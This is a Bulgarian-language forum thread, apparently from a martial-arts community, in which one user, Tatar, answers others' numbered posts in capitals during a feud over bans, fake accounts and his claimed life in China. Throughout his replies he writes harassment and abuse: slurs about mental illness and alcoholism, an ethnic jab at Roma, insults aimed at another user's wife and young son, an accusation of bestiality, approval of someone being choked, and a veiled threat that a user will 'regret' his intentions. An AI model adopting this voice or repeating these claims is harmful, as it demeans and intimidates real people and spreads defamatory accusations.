Аз съм почнал да обиждам...АМА ЗАЩО? ТИ КАТО ЦИГАНИТЕ - "ПОЛИЦАИТЕ НИ БИЯТ" (АМА НЕ КАЗВАТ ЗАЩО!). Причнно-следствените връзки разбираш ли ги?
ЗА ЛИЧНИТЕ СЪОБЩЕНИЯ - не съм пращал гнусотии за Гришата. МОЖЕ БИ ИМАШ ПРЕДВИД СТИХОТВОРЕНИЕТО ЗА НЕГО. АМИ ТО Е ОТГОВОР НА ТЪПИТЕ МУ РАПОВЕ, ДЕТО БЕШЕ ПУБЛИКУВАЛ ЗА МЕНЕ, БЕ СЛАДЪК! ЕХ, КАК НЕ ГИ РАЗБИРАШ ТИ ПРИЧИННО-СЛЕДСТВЕНИТЕ ОТНОШЕНИЯ. Представяш ли си как бих си загубил времето, ПРИ ПОЛОЖЕНИЕ ЧЕ НЯМАМ ПРИЧИНА. В СЛУЧАЯ ИМАХ - разрови се и ще видиш.
БИЛ СЪМ ИЗГОНЕН ОТВСЯКЪДЕ - ХАХАХАХАХА!!!! НЕ САМО, ЧЕ НЕ СЪМ ИЗГОНЕН ОТВСЯКЪДЕ, АМИ СЪМ И МОДЕРАТОР НА ДВА АВТОРИТЕТНИ ФОРУМА - нещо, което ти не можеш да постигнеш. Ти даже в ДАОБГ не можеш да модерираш.
И ВИЖДАШ ЛИ КОЛКО СИ ПРАВОЛИНЕЕН И НЕМИСЛОВЕН? МУНЧО Е ПИСАЛ ЗА "СЪБРАТА НА НАШ ТАТАР", а ти си мислиш, че е писал за мене. Дето се вика - ""Зъркелите ще му извади, ама то кьораво!"
АМИ КАКВО ДА ТЕ ПРАВЯ, ОСВЕН ДА ТИ КАЖА НА КАНТ МИСЪЛТА:
"Който сам се е направил на червей, да не се оплаква, че са го настъпили!" Ако има червей в ДАОБГ, това си определено ти.
Конформист, опортюнист, вечно съгласен с конюнктурата. Ти си идеален за баш-тоталитарните режими, ако си се родил по Червенково време, по Живково си щял да бъдеш вече апаратчик... Ама си нямал късмета. Нищо - карай го на виртуално подлизурство в ДАОБГ, то поне е безплатно. :)
16. ДЕШИМАРУ
"Тези които казахте, че Татар е "озлобен", че "обиждал" и тн. , може ли да представите някакви доказателства и да говорите с факти?
Аз също говоря от лични впечетления дори преди малко прегледах мненията му и не видях нищо нередно в тях.
Дори и да е истина това което казвате, защо Татар никога не е обиждал МЕН, защо не е бил озлобен към МЕН? Защо аз съм си писал с него и разговаряхме като нормални хора, а с вас не се е държал нормално?
Татар ми беше предложил да ми намери работа в Китай преди време, аз отказах разбира се, но ми се стори много искренно предложението му.
Според мен да се присмееш и да се подиграеш с някого може да направиш един, или два пъти, но ако за е постоянно, това разваля цялостното ти поведение като човек.
"
НЕ, НЯМА ДА МОГАТ ДА ПРЕДСТАВЯТ ДОКАЗАТЕЛСТВА, ОСВЕН, АКО ОЛД МУН НЕ СИ ПОИГРАЕ ПАК С ПРОФИЛА МИ И ДА НАПИШЕ НЕЩО СЪС ЗАДНА ДАТА, ДЕТО ДАЖЕ НЕ ЗНАМ ДА СЪМ ГО КАЗВАЛ - ТО НЕГО ПО МИЗЕРИИТЕ ГО БИВА, НЕ Е ЛЪЖА!
МНОГО ХУБАВО ИМ ГОВОРИШ, АМА ЕДВА ЛИ ЩЕ ТЕ РАЗБЕРАТ, ТИ СИ ПРОСТО НА ДРУГО НИВО.
17. РЕД ДРАКОН
"Ами можем и така да го кажем, защо всички се разбират с МЕН, защо никой не обижда МЕН, а само Татара го прави А колкото, дали говорим зад гърба му, ами не говорим, той си е тука, във форума, редовно си го чете, редовно си регистрира под нови имена, предимно женски И въобще не в Китай, а Китай го гледа само по нета
--------------------
"
НЕ ВСИЧКИ. КАЗАХ ТИ, ЧЕ СА АДСКИ РАЗОЧАРОВАНИ ОТ ТЕБЕ, НО НЕ ТИ СЕ ИСКА ДА ПОВЯРВАШ. ЩОМ Е ТАКА - АМИ ИГРАЙ СИ НА "ОГЛЕДАЛЦЕ, Я КАЖИ, ОГЛЕДАЛЦЕ, НЕ ЛЪЖИ" (Понеже още четеш приказки, няма как да не знаеш коя е тази и за какво става дума, нали?)
НЕ СЪМ РЕГИСТРИРАЛ РЕДОВНО ЖЕНСКИ ИМЕНА - ВЕРОЯТНО ТИ И ОЛД МУН ГИ РЕГВАТЕ, ЗА ДА ПРАВИТЕ ШОУ НА ХОРАТА, ЧЕ ИНАЧЕ НЕ ВЪРВИ САЙТА. А КАТО НЕ ВЪРВИ САЙТА, НЕ ВЪРВИ И БИЗНЕСА - ПОМНИМ КАК СЕ ОПЛАКВАХТЕ, ЧЕ СПРЯЛО СПИСАНИЕТО, ЧЕ НЯМАЛО ДОСТАТЪЧНО СПОНСОРИ И ПР.
ЗА КИТАЙ- АЗ СЪМ В КИТАЙ, АМА КАТО НЕ МИ ВЯРВАШ - ХИЧ НЕ МИ ДРЕМЕ! МНОГО ВАЖНО КАКВО СТАВА В МОЗЪКА НА РЕД ДРАКОНЧО - ДАЛИ ПРАВИ ВРЪЗКА С БАЗОВИ ПОНЯТИЯ И СЪЖДЕНИЯ ИЛИ НЕ. ТОЧНО МИ Е ПРЕЗ ЛЕВИЯ ЧЕПИК, КЪДЕ СИ МИСЛИШ, ЧЕ СЪМ. АКО ЖЕЛАЕШ, МОЖЕШ ДА СМЯТАШ, ЧЕ СЪМ В СУСУРЛЕВО!
18. ГРИША
"Напротив, търговията с Китай излиза доста на сметка само че не питай на китайците кво им коства да са най-бързо развиващата се икономическа сила в света в момента...
Китайските бойни изкуства ги знаем, че ги има- за справка чети темите кой кого пребил в градинката, кой носел педерастки шалчета и бил агент на ДС...
Дешимару, ти защо се вземаш за единица мярка за оценка на контактността или отношението на някой? Според мен трябваше да се съгласиш с Татара да те прати на работа в Китай, че ми е интересно как щеше да стане таз работа... Пък за факти и доказателства- порови се още из форума, после му следвай малко и линковете, дето ги даде към форумите на гювеча и ол-бг, също и прочети мненията на тамошните модератори за неговите изцепки и после пак ще приказваме. Аз пък между другото освен по нета съм го срещал и на живо (там дето съм бил избягал, щот съм се уплашил от него, ако не си чел неговата версия...) и момчето е сериозно болно- прав си, не е за подигравка!
"
ЗА КИТАЙЦИТЕ - добре бе, работят здраво и са една от първите икономически сили. Българите и те работят здраво, АМА НЕ СА! ЩО ЛИ?
ИНАЧЕ КАКВО ИМ КОСТВА ЛИ? КОСТВА ИМ НА ХОРА С ПО-НИСКО ОБРАЗОВАНИЕ, КАТО ТЕБЕ, НА ВИШИСТИ И ТО МАГИСТРИ КАТО МЕНЕ ИМ КОСТВА ДОСТА МАЛКО, ПОЧТИ НИЩИЧКО. АМА ТАКА Е - ПРИ СОЦИАЛИЗМА НЕ Е КАТО ПРИ КОМУНИЗМА. ТИ МАЙ, ЩЕ ИЗЛЕЗНЕШ, НЕОСЪЗНАТ КОМУНИСТ ;) (Боже дали въобще си имаш понятие от политология?! А аз си говоря ли говоря...).
ЗА КИТАЙСКИТЕ БИ - ама разбира се, че ще се подиграваш. АМА КАТО ТЕ ГЛЕДАМ - ПОЛЗВАШ ТОВА-ОНОВА ОТ КИТАЙСКИТЕ БИ. ЩО НЕ ГО КАРАШ САМО НА БОКС И НА БОРБА?
ЗА ЗАЯЖДАНКИТЕ С ДОКТОРА - ами толкова ти е културата. Човекът никога не съм го прочел да се е заял с тебе, а ти му душиш във врата като хрътка.
19. ВАКИДЗАШИ
"Mи аз съм го обиждал, няма да крия, но той винаги е започвал пръв. При това е обиждал не само мен, но и семеиството ми, което аз никога не съм си позволявал. Та ако ми падне сгоден случай, ще го обидя и на яве, не само в нета.
"
ЗАПОЧВАЛ СЪМ ПРЪВ? НА БАБА ТИ ТРЪНКИНАТА! ТИ ПОЧНА ПЪРВИ ДА ДРАСКАШ ТЪПОТИИ В ПОЕЗИЯ ЗА МЕНЕ, БАРАБАР С ОСТАНАЛИТЕ, А ПОСЛЕ СЕ НАМЕСИ БЕЗ НИКОЙ ДА ТЕ Е КАНИЛ В СПОРА МИ С ДОБРУДЖАНСКИ ОТНОСНО ПРАЙДОВЕТЕ. ДА НЕ ГОВОРИМ, ЧЕ СИ ИЗТИПОСАЛ МОЯ СНИМКА В АВАТАРА СИ.
И КАК ЛЪЖЕШ ЗА ЧЛЕНОВЕТЕ НА СЕМЕЙСТВОТО! ПОМНИШ ЛИ КАК ПИСА, ЧЕ МАЙКА МИ Е РОДИЛА ИЗРОДЧЕ, А БАЩА МИ СЕ КАЕЛ, ЧЕ БИЛ "ПРЕЕБАН"?
АКО ТИ ПАДНЕЛ СГОДЕН СЛУЧАЙ СИ ЩЯЛ ДА МЕ ОБИДИШ НАЯВЯ - НА МЕНЕ, АКО МИ ПАДНЕ СГОДЕН СЛУЧАЙ, БИХ СЕ ПОСТАРАЛ ДА СЪЖАЛЯВАШ ЗА НАМЕРЕНИЯТА СИ. РАЗБИРАШ МЕ, НАЛИ?
20. СУН ДЗЪ
"ами,ако Татара е чудовище,то ние сме го направили такъв.време е като Франкенщайн да се разкаем за това че сме го сътворили.ако просто беше баннат преди години,когато още се зараждаше тая работа....абе до сега гледах "Ефекта на пеперудата" и за тва не ми се мисли кво може да стане.
"
БАТЕНЦЕ, МИЛИЧЪК, ИМАМ СТРАШНО МНОГО ПРИЯТЕЛИ И ЗА НИКОЙ НЕ СЪМ ЧУДОВИЩЕ. ТОВА, ЧЕ СЕ ДЪРЖА ЧУДОВИЩНО (сиреч - адекватно) срямо НЯКОЛКО ОТ ПСИХАРЧЕТАТА ТУКА, НЕ ЗНАЧИ, ЧЕ ТАКА СЕ ДЪРЖА С ВСЕКИ. ВСЕ ПАК ТЕ НЕ СА ЕДИНИЦАТА, ЕТАЛОНА, КОЙТО ЩЕ ОПРЕДЕЛИ МОЯТА СЪЩНОСТ. СВЕТЪТ НЕ СЕ ИЗЧЕРПВА С НЯКОЛКОТО ГАЩНИКА ОТ ДАОБГ, ДЕТО НЕ МЕ ХАРЕСВАТ, НАЛИ ТАКА?
21. ДЕШИМАРУ
"Какво ако се вземам за единица? Защо да не го правя? Държал съм се уважително и културно с някой и той ми е отвърнал със същото, споделям своя опит. Мисля, че и той ви е отвърнал със същото отношение което вие сте му поднесли и сега му създавате имидж на озлобен човек какъвто знам, че не е.
И щом не е за подигравка, защо продължавате с подигравките и нападките. Има една поговорка (не я помня съвсем точно) за смеха, че смеха може да те издигне много в очите на другите, но и може да те свали в тях. Много е важно човек да знае къде и на какво да се смее.
"
ТОЧНО ТАКА - ТИ СИ НОРМАЛЕН И С ТЕБЕ СЪМ НОРМАЛЕН, ТЕ СА НЕНОРМАЛНИ И С ТЯХ СЪМ БИЛ НА НИВОТО ИМ. ПОНЕЖЕ, АКО ХОРАТА СА НОРМАЛНИ, МОЖЕ ДА СЕ НАПРАВЯТ НА ЛУДИ, АМА ТЕ НА НОРМАЛНИ НЕ МОГАТ ДА СЕ НАПРАВЯТ, колкото и да се опитват:)
Иначе за подигравката - Гришко е за подигравка, че толкова се е излагал в живота, но не си е взел поуки - то не са били пребивания по дискотеките, унижавания от полицаите и какво ли още не дето ТОЙ САМ СИ ГО Е ПИСАЛ, а да не говорим какви слухове се носят за него в допълнение. Даже колегите му в Плевен казваха - "Остави го, той е особняк" (Предполагам всеки може да се досети какво се крие зад евфемизма "ОСОБНЯК").
22. ТХУГЕЛЕНА
"Дешимару е абсолютно прав в случая, но мисля, че каузата му е загубена. Аз лично се уморих да повтарям същите неща по повод на потребители, които са били вземани под прицел. Отговорността за конкретната тема е на този, който я е пуснал и той си знае какви са му мотивите. хубаво е понякога човек да се опитва и да предвиди последиците от действията си. Може един ден да се срамувате от това, което пишете днес.
"
Ами ето - хубав урок за психопатните от форума - С ТХУГИТО СМЕ СПОРИЛИ ПО ФИЛОСОФСКИ ТЕМИ И ТО ДОСТА РАЗГОРЕЩЕНО, НО НЕ СЕ МРАЗИМ И МОЖЕМ ДА ПРОЯВЯВАМЕ ОБЕКТИВНОСТ. Ама момичето е с ОБРАЗОВАНИЕ И ВЪЗПИТЕНИЕ, С ПСИХИКА И ВОЛЯ, която на вас - гащниците от ДАОТО, ВИ ЛИПСВА!
На Дешимару каузата му била изгубена - АМИ ДА, ТУКА КАТО НЕ СИ КОНФОРМИСТЧЕ КАТО МАСТЪРА И ТИ ТЕГЛЯТ БАЛТИЯТА "ЩОТО ФОРУМЪТ БИЛ ЧАСТЕН И ЖОРО СЕ ОХАРЧВАЛ С ПО 60 ДОЛАРА НА ГОДИНА (завалията той!) И НЕ МОЖЕЛО ДА ИМА ДЕМОКРАЦИЯ" / Така ми го разясниха в АБВ.БГ/.
Мотивите на ЖОРЕТО _ МУНЧО ЛИ? Ами какви могат да му бъдат? Комплексарски и инфантилни. ДА ВИ ПРИЛИЧА НА МЪЖ, КОЙТО Е ЖЕНЕН И ВЪЗПИТАВА ДЕТЕ?
Да се срамуват от това, което са написали днес? АМИ, АКО РЕГРЕСИРАТ, КАКТО ДОСЕГА, ЕДВА ЛИ. А И, ПО-РАНО СЪМ ГОВОРИЛ, ЩЕ ГО КАЖА И СЕГА - доста от тях ги виждам с травматична болест на мозъка. Т. е. можем само да се надяваме.
23. ОНЯ
"Няколко неща:
Тази тема не е за Татаря!
Поддържниците на Татаря в тази тема сами са признавали че са изтървали пиковите избухвации на въпросния и че говорят пристрастно!
Най-големите изхвърляния на Татаря няма как да ги прочетете,защото са изтрити!
Стига с тоз Китай,защото Татаря едва ли е минавал някога БГ границата!
Всъщност не се знае дали Татаря е татар!
Татаря няма нито една смислена тема свързана с БИ в даобг!
Татаря никога не е напускал даобг,той просто е "бай Гесер с илядото ника"!
Татаря беше баннат неколкократно в абв.бг и други сайтове!
...
Жоро,аре накрая пусни идеята на тая тема!
"
ТИ ПЪК ИЗЧАКА ДА СЕ ИЗГОВОРЯТ ЕДИН ТОН ПРОСТОТИИ И РЕШИ ДА СЕ НАМЕСИШ! И КАКВО СЕ ПРАВИШ НА МНОГО ЗАГРИЖЕН. НАЛИ ТОЧНО ТИ ПУСКАШЕ ТЕМИТЕ ОТ РОДА НА "АХМАК НА ГОДИНАТА", ЧЕ МИГАР МАЛКИЯТ ВИ ПСИХО-КОЛЕКТИВ МЕ НОМИНИРА, АМА АЗ ПЪК ВСЕ НЕ МОГА ДА "СПЕЧЕЛЯ", ЗА ТВОЕ РАЗОЧАРОВАНИЕ, ГОСПОДИН АЛКОХОЛИК-ОТ-ЯПОНИЯ!
ПИКОВИ ИЗБУХВАЦИИ...БОЖЕЕЕЕЕ, КОЙ ГО КАЗВА - КОЙТО МИ ПИШЕ НА ЛИЧНИ КАТО МОТИВ ЗА БАНОВЕТЕ _ "АБЕ Я СИ ЕБИ МАЙКАТА!" И ТО С УСМИВКА (Емотиконче). 'МИ ЛУД СИ.
ЗА КИТАЙ - ЗНАМ, ЧЕ И ТИ ЗАВИЖДАШ, АМА МИ ДРЕМЕ НА ДЕСНИЯ ТЕСТИКУЛ КАКВО СИ МИСЛИШ В ПРОСВЕТЛЕНИТЕ ПЕРИОДИ МЕЖДУ ДВА СПИРТНИ БОКЛУКА!...АКО ИСКАШ СИ МИСЛИ, ЧЕ НЕ СЪМ НАПУСКАЛ И УТРОБАТА НА МАЙКА СИ - ВСЕ ЕДНО!
ЗА ТАТАРСКОТО - МОЛЯ ТИ СЕ, ТИ НАЛИ СИ МИСЛЕШЕ, ЧЕ ЯПОНСКИЯТ Е РОДСТВЕН НЕ С АЛТАЙСКИТЕ, А С ИНДИЙСКИТЕ ЕЗИЦИ, НЕДЕЙ СЕ ХВАЩА С ЕТНОГЕНЕЗ, ПРЕДИ ДА СИ ИЗГЛАДИЛ ЛИНГВИСТИКАТА, ЧЕ ХЕПТЕН ЗА РЕЗИЛ ЩЕ СТАНЕШ.
СМИСЛЕНА ТЕМА? ПФфффффффффф, те пък твоите просто се цепят от смисъл, моля ти се!
За никовете - правя нов в момента по необходимост, ама онези, които ми вменявате (17 ли бяха?) не са мои, БАТКОВОТО!
БИЛ СЪМ БАННАТ ОТ АБВ И ДРУГИ САЙТОВЕ? ЩО ГОВОРИШ ТЪПОТИИ?! ВАС ВИ ИЗПОНАБАНИХА В АБВ.БГ. А АЗ ДАЖЕ СЪМ МОДЕРАТОР В ДВА САЙТА. ХА ДА ТЕ Е ЯД!
ЖОРЕТО ДА ПУСНЕ ТЕМАТА? МОЖЕ И ДА Я ПУСНЕ, АМА СЕГА СЕ НАСЛАЖДАВА НА ТЪПОТИЯТА - ОТПУСКАЩО МУ ДЕЙСТВА, ЩОТО МУ Е ТЪЖДЕСТВО!
24. ЛОГРУС
" правите мъченик от човек, който не го заслужава
Замислете се само кого защитавате , аз също не смятам, че е редно да има подобни теми, или да му се обръща внимание, но не защото намирам нещо нормално в думите му. Независимо дали пише сериозно или не, дали се прави или наистина си е такъв, какъвто го виждаме чрез думите му (а някой определено трябва да си сложат очила , това за теб става въпрос Deshimaru ) той не е безопасен или кротък луд. Думите му и начина на изразяване е отвратиелно гнусен и се радвам, че има хора, които толкова сериозно са се заели да му ги премахнат, чрез доводи и сериозни мнения. Спомнете си само за Силвия и бенките Хората забравят, че една полу-истина е много по-опасна от една лъжа. Да не говоря (не ми се иска и отново да ги чета и да ви давам линкове), че повечето му мнения за ушуто са обида за стиловете и че чрез тях се взима на подбив и самото БИ
п.п. след като се мъчих с глупостите на Татар, се признавам за победен и не успях да намеря нито едно негово мнение, което да цитирам тук (но съм видял около 1/4 от всичките му мнения все пак ) Просто той няма мнение, което да казва нещо ... само спори и чесно казано не мога да си обясня как ги пише толкова дълги мненията си . Абе пълна мизерия
"
ОЩЕ ЕДИН КОМПЛЕКСИРАН ОТ МЕН, ПОРАДИ СИСТЕМНО ЗАГУБЕНИТЕ СПОРОВЕ!
1. НЕ СЪМ УМРЯЛ ДА МЕ ПРАВЯТ МЪЧЕНИК, А ОЩЕ ПОВЕЧЕ ПРЕД ДАОБГ, КЪДЕТО ГОЛЯМА ЧАСТ ОТ ОСНОВНИТЕ ПОТРЕБИТЕЛИ И МОДЕРАТОРИТЕ СА ГАШНИЦИ!
2. ЗА МОИТЕ ЗАСЛУГИ НЕ СЕ ПРОИЗНАСЯЙ, ПОЛЗВАЙКИ СЕБЕ СИ ЗА РЕПЕРНА ТОЧКА, ЩОТО МИ СЕ ГАДИ.
3. ЗА ОЧИЛАТА - МАЙ ТИ ТРЯБВА ДА СЛОЖИШ, ЩОТО НЕ СИ ПРОЧЕЛ, ТОВА, КОЕТО СЪМ ПОВТАРЯЛ МНОГОКРАТНО :
-Аз съм магистър по философия, защитил съм магистратура по философска антропология.
-Издавал съм вестник и съм правил предаване по телевизията.
-Създал съм като режисьор, актьор и сценарист 4 филма.
-Работил съм в няколко медии и в психологическа служба към БЧК.
-Владея няколко езика.
-Имам познания в областта на синологията, алтаистиката, парапсихологията, психопатологията, нормопсихологията, историята и пр.
-Работя в чужбина.
СХВАЩАШ ЛИ РАЗЛИКАТА В НИВОТО?
4. "Безопасен и кротък луд" - това го препрати към основните модератори тука и ще си много прав, с тази разлика, че не са много кротки, иначе, че са луди и безопасни - прав си!
5. Думите ми и начина на изразяване не са гнусни, ами са гнусни повечето от тези, тука с които съм принуден от време на време да дискутирам и СЕ ПОЛУЧАВА ИРАДИАЦИЯ, ПИЧА, ТА ТИ СЕ СТРУВА, ЧЕ САМИТЕ ДУМИ И НАЧИНА СА ГНУСНИ.
6. СИЛВИЯ И БЕНКИТЕ СА КРЕАТУРА НА ГЕОРГИ - МУНЧО!!! ПРИПИСВАТ МИ СЪЩО ДЖИНДЖЕР И ОЩЕ 15 май ника! НЕ СЕ ВРЪЗВАЙ КАТО ЗОРО.
7. АЗ УШУТО НЕ СЪМ ГО ОБИЖДАЛ, АМА ГРИШАТА ГО ОБИЖДА СИСТЕМНО, ПОНЕЖЕ ОЩЕ НЕ СЕ Е НАМЕРИЛ НЯКОЙ ПО-СЕРИОЗНО ЗАНИМАВАЩ СЕ КАТО ДОКТОРА, ДА ГО ГРАБНЕ ЗА ГУШАТА И ДА ГО ПРИСПИ! СЛЕД ТОВА ЩЕ ОБРНЕ ПО-СЕРИОЗНО ВНИМАНИЕ И НА УШУТО!
Така, че мисли повече, в момента вървиш по течението и си като робот с механично "мислене".
28. ДЕШИМАРУ
"Аз незнам за кои избухвации става дума, но помня, че имаше специална тема Tatar и тази тема беше най - актуалната и нито един модератор не я бутна с пръст въпреки, че определено не беше в контекст с правилата на форума. Просто всички и се наслаждаваха на тая тема! Помня, че сравняваше Доктора с Ботев и разни такива.
"
"Има цяла негова тема за Китай в която е изписал един тон впечетления от първите си дни там. Ето темата! Допускате ли, че е възможно той да си е измислил всичко това?
"
"Така ли стана? Ами айде тогава уточнете се кой - кой е първо, изяснете се и тогава пишете и нападайте!
"
ЗА БОТЕВ И ДОКТОРА - ВИЖ СЕГА, КАЗАХ ГО ПО НЯКОЛКО ПРИЧИНИ:
а/ Колкото и да ми е натрапвано, не мисля, че Ботев е голямата работа!
ЛЕВСКИ - ДА! Но Ботев...курварче, дето се е мятало голо пред рускините на снега; често препиващо / е, не чак колкото ОНЯ/; лапващо по НИСКОКАЧЕСТВЕНИ СЛАВЯНСКИ ТЕОРИИ ЗА ПРОИЗХОДА НА ТЮРКИТЕ!!!; авантюристче, рискувало живота на цялата чета и застреляно по най-позорен начин от СВОИ, А НЕ ОТ ТУРЧОРА!...Е?
В този смисъл, доколкото по-рано Дориян Александров беше написал ВЕЛИКОЛЕПНАТА СТУДИЯ "Прабългари, хуни и китайци", публикувана в органа на БНРП, както и в китайско списание, СМЕТНАХ ЗА НУЖНО ДА КАЖА, ЧЕ ПО ОТНОШЕНИЕ НА НАУКАТА - ДОКТОРЪТ Е ДОСТА ПОВЕЧЕ ОТ БОТЕВ. ОТДЕЛНО, както виждате, и той воюва срещу турци, цигани и всякакви, та, това, което го отличава от Ботев е, че няма да тръгне като последен идиот със стотина души срещу ОСМАНСКА АРМИЯ, РАЗПОЛАГАЩА С ОРЪДИЯ "КРУП"! (А днес и с ядрено оръжие, според някои турци от форума на "Атака").
б/ За Китай - абе нека си мислят, че не съм там, нас какво ни бърка? Те са като счупени огледала, които не могат да отразят една проста истина. На нас тяхното отражение на действителността не ни е потребно, ето защо няма нужда да авлизаме в спор. Аз, както каза, си живея живота, пък те нека се мотаят във фантазии. Като изключим ОНЧО, дето е в що-годе нормална страна (Япония) и още един дето е в Германия, останалите се мъчат в Бaлканската мизерия и превъртат тотално, то си им личи.
29. ЛОГРУС
"Оня моля ти се, преди малко това четох, направо за 1 час ми дойде Татар малко в повече , пробвайте и вие да му четете само неговите постове и то без почивка
Също това е част от проблема свързан с него - глупостите му рефлектират и върху други
Deshimaru до кога ще упорстваш - точка от реп. за Наивност ли си просиш да ти отнемат
"
ЛОГРУСЕ, коато ти станеш мерило за гносеологични констатации, каквито се опитваш да правиш по такъв категоричен начин, ще се радвам човечеството да е изнамерило начин за разселване на други планети, понеже общество, което би се повело само за 40 минути по твоя начин на мислене, определяне, умозаключаване и пр., не би просъществувало по-дълго от предпоставения от мене период. Сега знам, че не си разбрал какво ти говоря, но ме успокоява това, че не четеш само ти.
А ДЕШИМАРУ, ако му пука от кирливите ви репутации в жалкия "частен сайт, дето не може да има демокрация, щото аз плащам по 60 долара на година!", просто значи, че не е с всичкия си...
30. ДОБРУДЖАНСКИ
"Аз съм на мнение, че трябва официално да го върнем обратно, откога моля Жоро, ама... "
ЖОРО ГО Е СТРАХ, НЕ Е В СЪСТОЯНИЕ ДА ПРИЕМА ЛЕСНО, ЧЕ МОЖЕ ДА НЕ Е ПРАВ, А И НЕ Е ЧАК ТОЛКОВА ГОЛЯМ СЕИРДЖИЯ КАТО ТЕБЕ.
ОТДЕЛНО - хем, че не сте ми интересни, хем, че в момента модерирам два много важни сайта и няма начин.
31. ТХАЙ
"аз пък наскоро преглеждах изтритите мнения - познайте кой е със светлинни години пред останлите и с количество, и с качество "
ХАЙДЕ СТИГА СИ СЕ ПОДМАЗВАЛ НА ЖОРО БЕ, ПФФФФФФФФ, ТИ ЗА ТОВА МОЕРАТОРСКО МЯСТО, ЩЕ УДАРИШ И МАСТЪРА В ЗЕМЯТА ПО КОНФОРМИЗЪМ! ДА ТИ ПРАВИ ВПЕЧАЛЕНИЕ, ЧЕ ВСЕ ПО-РЯДКО СПОРИШ С НЯКОЙ И ЛЕКА-ПОЛЕКА СЕ УЕДНАКВЯВАШ И ОБЕЗЛИЧАВАШ С ТЪЛПАТА? ИНАЧЕ ОТ АБВ-ТО ИМАШ И ТИ НЕПРИЯТНИ СПОМЕНИ _ БАННАХА ТЕ, ПОИЗГУБИ ДИСКУСИЙКИТЕ С МЕНЕ...Разбирам те, не ти е лесно. Как е в Германия? Меркел скоро ще ви гони до крак, както виждам...
32. РЕД ДРАКОН
" на мен ми е странно как човек хвалещ, че взема много пари (1000 лева) в страна където е много евтино всичко, да не може едно собственоръчно направена снимка в Китай да качи, защо ли , едва ли не може да си купи един цифров фотоапарат (даже се беше похвалил, че има някаъв ултра хипер турбо такъв ) или просто не е стъпвал там
И не знам ти с какво право ни съдиш, при условие, че не си запознат със случая. Аз него никога не съм обиждал, говорил съм нормално, даже съм го защитавал и съм трил обиди срещу него и какво получих, ругатни по мой адрес, по адрес на съпругата ми, по адрес на двегодишния ми син. Ако за някои е приятелски поздрав да си се псуват на децата, за мен не е, ясен ли съм И повече не искам неподготвени да се изказват и да съдят тука
"
А АЗ ПЪК СЕ ЧУДЯ, ОТКЪДЕ НАКЪДЕ ТРЯБВА ДА ТИ ПРАВЯ СНИМКИ И ДА ТИ ГИ КАЧВАМ? ПРЕДИ ТОЛКОВА МНОГО СНИМКИ ОТ КИТАЙ ТИ ПРАТИХ, НАПРАВИ СИ, КАКТО САМ КАЗА ГАЛЕРИЙКАТА И В ЗАМЯНА КАКВО? НЕ СИ МРЪДНА ПРЪСТА ДА МИ МАХНЕШ ОГРАНИЧЕНИЯТА!
И НЕ СЪМ СЕ ХВАЛИЛ, ЧЕ ИМАМ "ХИПЕР-ТУРБО" ФОТОАПАРАТ. ПАК СИ ИЗМИСЛЯТЕ.
ДЕШИМАРУ Е МНОГО по-запознат от зашеметени хора като теб с предвзето мислене. Така, че недей да го заплашваш. А за сина ти - сам си го заслужи с обидите си към мене. Нека да видиш ДОБРЕ ЛИ Е ДА СЕ ОБИЖДА, ПОНЕЖЕ ТИ СИ БАЩА, ТОЙ Е СИН, НО И АЗ ИМАМ БАЩА И АЗ СЪМ НЕЧИЙ СИН. Така че, ако обичаш, не се прави на голямата жертва.
И кога съм ПСУВАЛ СИНА ТИ? Ти каза, че съм "Ам-Гъл", пък аз ти казах, че "СИНА ТИ Е АМ-ГЪЛ!" Това псувня ли е, бе, господин Шкембов-Мазнишки??
И, понеже те не знаят - АЗ ПОВЕЧЕ МИСЛЯ ЗА СИНА ТИ ОТ ТЕБЕ, понеже ти много се отваряше - искаше да се бием в Китай, а аз ти казах, че хем ще ядеш бой, хем има опасност да пукнеш и ЗА КАКВО ДА СТРАДА ДЕТЕТО? Схващаш ли КОЙ ИМА ПОВЕЧЕ ОТГОВОРНОСТ ДАЖЕ ЗА ЧУЖДИТЕ ДЕЦА?
33.СТАН
"еваларка за мнението, аз не му помня писанията дословно, но като няма кво да каже и се почва "Гришата има корем", "Берсек има говорен дефект", "Оня е пияница", "Добруджански е зоофил", "вии сте лузъри, щото си стоите в мизерната татковина, аз аз съм супер в Китаи", писал е гадости на Асен и маи на Мастъра - всичко това съм го чел и тия пародии са за бан , които много му се кефи да ходи да си чати с него в абеве-то
"
ГРИШАТА, ЧЕ СИ Е ШКЕМБЕЛИЯ- НИКОЙ НЕ ГО ОТРИЧА, А ОНЧО САМ СЕ ХВАЛИ КАКВИ МАХМУРЛУЦИ ИМА. БЕРСЕК СЪЩО СИ Е КАЗАЛ, ЧЕ НЕ МОЖЕ ДА КAЗВА "Р", А И НЯКОИ ОТ УЧЕНИЦИТЕ МУ СЕ ПРИСМИВАТ ЗАРАДИ ТОВА. ЗА ДОБРУДЖАНСКИ - ВЯРНО, ЧЕ НЕ Е ТОЛКОВА ЯВНО, КАКТО ПРИ ОСТАНАЛИТЕ, НО ГО Е ПОКАЗВАЛ ОПОСРЕДСТВЕНО С ПУБЛИКУВАНАТА ОТ НЕГО ПОЕЗИЯ. АЗ ПИША ПРЕДИМНО ЗА ЖЕНИ И МОЖЕ ДА СЕ ПРЕДПОЛОЖИ, ЧЕ ХАРЕСВАМ ЖЕНИТЕ. ДОБРУДЖАНСКИ ПИШЕ ЗА СЕКС С ЖИВОТНИ, ОТ КОЕТО МОЖЕ ДА СЕ НАПРАВЯТ ИЗВОДИТЕ.
За лузърството и мизерната татковина - МИ ДАААААААААААааааааааааааааааааааааааааааааа, по над 45 000 души бягат всяка година от БГ, ти още ли не си го разбрал?!
ЗА АСЕН - МНОГО ГОЛЯМА ЛЪЖА, ДОБРЕ, ЧЕ АСЕН НЕ Е ПОДЛЕЦ КАТО ВАС И СЕ ДЪРЖИ ПОЧТЕНО, ВЪПРЕКИ ШЕГИТЕ И СПОРОВЕТЕ, КОИТО СЪМ ИМАЛ С НЕГО.
МАСТЪРЪТ Е КОМФОРМИСТ.
За кефенето - нали ти ме молеше да ти казвам къде пиша, за да идваш да си "чатим"? СЛЕД ПОСЛЕДНОТО ОПАРВАНЕ И БАНВАНЕ ВЕЧЕ НЕ ИСКАШ, А?
34. ГРИША
"Еми като искаш вземай се за какъвто си решиш- проблема си е твой Предполагам, че и при татарино така се е почнало...
Нещо може да те издигне в нечии очи или да те свали в тях, ако ти пука как изглеждаш точно в тези очи. В противен случай има една поговорка, която почва с "дреме ми на...." "
"Добре де, не мога да разбера, хем нямаш и една трета от информацията, хем защитаваш някаква кауза
